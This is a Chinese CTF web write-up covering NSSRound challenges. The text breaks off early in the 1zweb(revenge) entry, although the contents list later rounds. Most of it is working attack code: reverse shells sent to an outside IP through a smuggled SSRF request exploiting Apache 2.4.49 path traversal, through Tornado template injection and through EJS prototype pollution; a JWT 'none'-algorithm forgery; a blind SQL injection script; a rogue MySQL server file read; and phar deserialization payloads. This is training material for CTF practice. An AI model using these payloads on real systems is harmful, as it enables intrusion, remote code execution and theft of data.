【Web】NSSRound#1-20 Basic 刷题记录(全)

04-13 阅读 0评论

目录

[NSSRound#1 Basic]basic_check

[NSSRound#1 Basic]sql_by_sql 

[NSSCTF 2nd]php签到 

[NSSCTF 2nd]MyBox 

[NSSCTF 2nd]MyBox(revenge) 

[NSSCTF 2nd]MyHurricane 

[NSSCTF 2nd]MyJs 

[NSSRound#3 Team]This1sMysql 

[NSSRound#3 Team]path_by_path

[NSSRound#4 SWPU]1zweb

[NSSRound#4 SWPU]1zweb(revenge)

[NSSRound#4 SWPU]ez_rce

[NSSRound#6 Team]check(V1)

[NSSRound#6 Team]check(Revenge)

[NSSRound#7 Team]ec_RCE

[NSSRound#7 Team]0o0

[NSSRound#7 Team]ShadowFlag

[NSSRound#7 Team]新的博客

[NSSRound#8 Basic]MyPage

[NSSRound#8 Basic]MyDoor 

[NSSRound#8 Basic]Upload_gogoggo

[NSSRound#8 Basic]ez_node 

[NSSRound#13 Basic]flask?jwt?

[NSSRound#13 Basic]flask?jwt?(hard)

[NSSRound#13 Basic]ez_factors 

[NSSRound#13 Basic]MyWeb

[NSSRound#13 Basic]TimeTrcer 

[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]了解过PHP特性吗

[NSSRound#17 Basic]真·签到

[NSSRound#17 Basic]真的是文件上传吗?

[NSSRound#18 Basic]门酱想玩什么呢?

[NSSRound#18 Basic]Becomeroot

[NSSRound#18 Basic]easy_rw 

[NSSRound#20 Basic]真亦假,假亦真

[NSSRound#20 Basic]CSDN_To_PDF V1.2

[NSSRound#20 Basic]baby-Codeigniter 

[NSSRound#20 Basic]组合拳!


[NSSRound#1 Basic]basic_check

【Web】NSSRound#1-20 Basic 刷题记录(全)

HTTP OPTIONS请求方法的主要作用是查询目标资源(URL)支持的通信选项。客户端可以通过发送OPTIONS请求来检查服务器支持哪些HTTP方法(如GET、POST、DELETE等),以及了解服务器的其他能力。OPTIONS请求可以被用于两种场景:

  1. 针对特定资源的查询:当OPTIONS请求发送到一个具体的URL上时,它询问的是那个特定资源支持哪些HTTP方法。这可以让客户端知道如何与该资源交互。

  2. 整站级别的能力查询:当OPTIONS请求的URL是星号(*)时,比如OPTIONS * HTTP/1.1,它表示的是对整个服务器的能力进行查询,而不是针对某个具体的资源。

postman发送请求,回包的响应头显示服务器支持PUT方法 

【Web】NSSRound#1-20 Basic 刷题记录(全) PUT创建一个新路由,写马

PUT请求如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本

【Web】NSSRound#1-20 Basic 刷题记录(全)

访问/yjh.php,命令执行拿flag 

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSRound#1 Basic]sql_by_sql 

二次注入详解

先注册一个恶意用户

【Web】NSSRound#1-20 Basic 刷题记录(全)

 拿这个账号登录

【Web】NSSRound#1-20 Basic 刷题记录(全)

修改密码

【Web】NSSRound#1-20 Basic 刷题记录(全)

 拿admin/12345成功登录,查询用户是注入点

【Web】NSSRound#1-20 Basic 刷题记录(全)

直接sqlmap跑出来

【Web】NSSRound#1-20 Basic 刷题记录(全)

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSCTF 2nd]php签到 

【Web】NSSRound#1-20 Basic 刷题记录(全)

关于pathinfo绕过,参考文章:

pathinfo两三事-安全客 - 安全资讯平台

贴出脚本

import requests as req
def upload(file_path, new_file_name, url):
    """
    上传一个文件到指定的URL,并在上传前修改文件名。
    :param file_path: 要上传的文件的本地路径。
    :param new_file_name: 上传后文件的新名称。
    :param url: 上传文件的目标URL。
    """
    # 以二进制方式读取文件内容
    with open(file_path, 'rb') as file_content:
        # 在files字典中使用新的文件名
        files = {'file': (new_file_name, file_content)}
        # 发送POST请求上传文件
        response = req.post(url, files=files)
        print(response.text)
if __name__ == "__main__":
    # 定义上传信息
    file_path_to_upload = "D:\CTF\码\yjh3.php"  # 修改为你的PHP文件路径
    new_file_name = 'yjh.php%2F%2e'  # 上传后的文件名
    upload_url = "http://node5.anna.nssctf.cn:28182/"  # 修改为实际的上传URL
    # 执行上传
    upload(file_path_to_upload, new_file_name, upload_url)

访问/yjh.php,读环境变量拿到flag 

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSCTF 2nd]MyBox 

进来啥也没有,就给了个?url=xxx

【Web】NSSRound#1-20 Basic 刷题记录(全)

经过尝试可以读本地文件

?url=file:///etc/passwd

【Web】NSSRound#1-20 Basic 刷题记录(全) 直接读环境变量偷鸡成功

?url=file:///proc/1/environ

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSCTF 2nd]MyBox(revenge) 

这次直接不给读环境变量了

【Web】NSSRound#1-20 Basic 刷题记录(全)

?url=file:///app/app.py

读app.py源码

【Web】NSSRound#1-20 Basic 刷题记录(全) 这里后端对mybox://的处理就和gopher://一样,完全可以按照gopher来打

payload生成脚本

import urllib.parse
test ="""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
print(urllib.parse.quote(result))

【Web】NSSRound#1-20 Basic 刷题记录(全)

?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

随便访问一个不存在的php文件后,回显报错内容,得知Server版本为Apache/2.4.49  

Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客

payload生成脚本:

import urllib.parse
payload ="""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

【Web】NSSRound#1-20 Basic 刷题记录(全)

反弹shell拿到flag 

 【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSCTF 2nd]MyHurricane 

进来直接给了源码

import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)
def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31  

就是要绕过waf实现tornado模板注入

ban掉了这些

'\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'

 tornado模板注入-CSDN博客

可以直接读环境变量偷鸡

 payload:

ssti={% include /proc/self/environ %}

【Web】NSSRound#1-20 Basic 刷题记录(全)

也可以反弹shell

payload:

__import__('os').system('bash -c \'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&
"""

【Web】NSSRound#1-20 Basic 刷题记录(全)

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSCTF 2nd]MyJs 

【Web】NSSRound#1-20 Basic 刷题记录(全)

 先随便注册一个账号,拿到token

 ​​​【Web】NSSRound#1-20 Basic 刷题记录(全)

拿到的token是jwt

【Web】NSSRound#1-20 Basic 刷题记录(全)

登录后跳转一个update的界面 

【Web】NSSRound#1-20 Basic 刷题记录(全)

 随便改一下,回显不能修改uid

【Web】NSSRound#1-20 Basic 刷题记录(全)

黑盒只能测到这了,扫一下目录

扫出来/source,访问,拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
        if (sid === undefined || sid === null || !(sid = 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

意思就是说以nss账号登录就可在/update路由下打一个ejs原型链污染

如何以nss账号登录,关键在/login路由

  1. if (req.method == "POST") { ... }: 这是一个条件语句,用于检查请求的方法是否为 POST。只有当请求的方法为 POST 时才会执行后续的逻辑。

  2. const {username, password, token} = req.body;: 这一行从请求的 body 中提取出 username、password 和 token。这些数据通常是用户在登录表单中输入的信息。

  3. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;: 这一行解析了 token,从中提取出 secretid。token 通常是用户在登录时生成的身份验证令牌。

  4. if (sid === undefined || sid === null || !(sid = 0)) { ... }: 这个条件语句检查 sid 是否有效。如果 sid 未定义、为空或者不在有效范围内,则返回一个登录错误消息。

  5. const secret = global.secrets[sid];: 这一行从全局的 secrets 数组中根据 sid 获取对应的密钥。

  6. const user = jwt.verify(token, secret, {algorithm: "HS256"});: 这一行使用 jwt.verify 方法验证 token 的有效性,并解析出其中的用户信息。需要注意的是,这里的 secret 是用来验证 token 签名的密钥。

  7. if (username === user.username && password === user.password) { ... }: 这个条件语句检查用户输入的用户名和密码是否与 token 中解析出的用户信息匹配。如果匹配成功,则将用户信息存储在会话中,并重定向到 '/home' 页面。

参考文章

从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

关于身份的验证是通过解析token进行的,这里用空算法伪造jwt即可(algorithm的误用)

exp

import jwt
import base64
# 构造JWT的payload部分
payload = {
    "username": "nss",
    "password": "123456",
    "secretid": [],  # 用具体的值替代列表
    "iat": 1712626361
}
# 生成JWT,对于algorithm='none',传递None作为密钥
token = jwt.encode(payload, None, algorithm="none")
# 为了展示,将JWT分割成三个部分,并单独打印payload部分的base64解码内容
header, payload, signature = token.split('.')
decoded_payload = base64.urlsafe_b64decode(payload + "==").decode()
print("Generated JWT:", token)
print("Decoded Payload:", decoded_payload)

【Web】NSSRound#1-20 Basic 刷题记录(全)以nss身份登录成功

【Web】NSSRound#1-20 Basic 刷题记录(全)

在/update路由打ejs原型链污染

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}

【Web】NSSRound#1-20 Basic 刷题记录(全)

再访问/login,render触发rce,成功反弹shell,读环境变量拿flag 

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSRound#3 Team]This1sMysql 

【Web】NSSRound#1-20 Basic 刷题记录(全)

 浅析MySQL恶意服务器读取文件原理

MySQL服务端恶意读取客户端文件漏洞 |

payload:

config[8]=true&mysql[host]=124.222.136.33&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=3306

 这里config[8]就是MYSQLI_OPT_LOCAL_INFILE

GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients

【Web】NSSRound#1-20 Basic 刷题记录(全)

改一下filelist 

【Web】NSSRound#1-20 Basic 刷题记录(全)

读到function.php和class.php的源码 

【Web】NSSRound#1-20 Basic 刷题记录(全)

交给gpt去美化一下

 【Web】NSSRound#1-20 Basic 刷题记录(全)

class.php

 

 function.php

 

 看到mysql.txt

访问/mysql.txt,拿到靶机数据库的相关信息

【Web】NSSRound#1-20 Basic 刷题记录(全)

查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILE和SELECT ... INTO OUTFILE语句的目录。 

import requests
import datetime
url="http://node4.anna.nssctf.cn:28297/"
path_dir=''
for i in range(1,50):
    low = 41
    high = 130
    mid = (high + low) // 2
    while (low {mid},sleep(2),1)#".format(i=i, mid=mid)
        data={
            "config[3]":payload
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 41 or mid == 130):
        break
    path_dir += chr(mid)
    print('目录为:{}'.format(path_dir))

【Web】NSSRound#1-20 Basic 刷题记录(全)

写马,这里config[3]是MYSQLI_INIT_COMMAND

payload:

config[3]=select '' into outfile '/nssctf/yjh.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

【Web】NSSRound#1-20 Basic 刷题记录(全)然后打反序列化

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

如果反序列化成功则会include "/nssctf/yjh.php" 

 

生成的phar包用CyberChef处理一下

【Web】NSSRound#1-20 Basic 刷题记录(全)

这次用select xxx into dumpfile来写入 

Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家

payload:

config[3]=select 0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0ab401000001000000110000000100000000007e0100004f3a343a2254657374223a323a7b733a353a227465737431223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b613a323a7b693a303b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b4e3b733a363a2266696c746572223b4e3b7d733a343a2264617465223b733a373a22796a682e706870223b733a333a22746d70223b4f3a343a2254657374223a323a7b733a353a227465737431223b4e3b733a353a227465737432223b723a373b7d7d693a313b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b723a373b733a343a2264617465223b733a383a222f6e73736374662f223b733a333a22746d70223b723a31323b7d7d733a363a2266696c746572223b4e3b7d733a353a227465737432223b4e3b7d08000000746573742e7478740400000077e01466040000000c7e7fd8b60100000000000074657374526909bc912a64220a120c3460990db2db8167a60200000047424d42 into dumpfile '/nssctf/phar.png';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

 【Web】NSSRound#1-20 Basic 刷题记录(全)

然后function.php中的file_exists触发phar反序列化

?mysqlpath=phar:///nssctf/phar.png 
1=system('env');

读环境变量拿到flag 

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSRound#3 Team]path_by_path

进来直接拿到源码

const express = require('express');
const request = require('request');
const bodyParser = require('body-parser');
const { readFileSync } = require('fs');
const { env } = require('process');
const app = express();
const urlencodedParser = bodyParser.urlencoded({extended: false});
let whoami = {
    info: {
        name: env.NAME,
        bio: env.BIO,
    },
    other: {
        intro: env.INTRO
    }
}
app.get('/', (req, res) => {  
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(readFileSync(__filename));
})
app.post('/exec', urlencodedParser, (req, res) => {
    const path = req.body.path;
    const url = new URL(path, 'http://127.0.0.1:5000');
    request.get(url.toString(),{},(e, r, b) => {
        let resp = JSON.parse(b);
        whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f];
    });
    res.send('');
})
app.get('/whoami', (req, res) => {
    let public = req.query.public;
    public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info');
    let field = req.query.field;
    field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');
    res.send(`The ${field} is ${whoami[public][field]}`);
})
process.on('uncaughtException',function(err){})
app.listen(8000, '0.0.0.0', () => {})
  1. 根路由(GET /):当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)实现,其中__filename是当前运行脚本的路径。

  2. 执行路由(POST /exec):这个路由接收一个POST请求,包含一个path参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。

  3. 查询路由(GET /whoami):这个路由根据查询参数public(值为info或other)和field(值为name、bio或intro)返回相应的信息。如果没有指定,它会使用whoami对象中的默认值。

/exec路由写whoami对象属性

/whoami路由可以读 whoami对象属性

先起个flask服务器

from flask import Flask, request, jsonify
app = Flask(__name__)
# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "info",
  "f": "FLAG"
})
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性

【Web】NSSRound#1-20 Basic 刷题记录(全)

 再修改flask源码返回的json

from flask import Flask, request, jsonify
app = Flask(__name__)
# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "__proto__",
  "f": "field",
  "field": "FLAG"
})
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里的目的是让whoami.field=FLAG

【Web】NSSRound#1-20 Basic 刷题记录(全)

最终payload:

/whoami?public=info&field=Z3r4y
The ${field} is ${whoami[public][field]}

补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSRound#4 SWPU]1zweb

可以直接读靶机本地文件

【Web】NSSRound#1-20 Basic 刷题记录(全)

偷鸡环境变量权限不够,直接读/flag

file=../../../../../../flag&submit=

【Web】NSSRound#1-20 Basic 刷题记录(全)

[NSSRound#4 SWPU]1zweb(revenge)

不能直接读/flag了

先读index.php

file=/var/www/html/index.php&submit=

【Web】NSSRound#1-20 Basic 刷题记录(全)

拿到源码

给了一个恶意类,然后file_get_contents可以触发phar反序列化

 

绕过wakeup不解释,因为修改了文件内容所以要重写下签名,绕过_HALT_COMPILE需要进行gzip压缩

脚本


免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,人围观)

还没有评论,来说两句吧...

目录[+]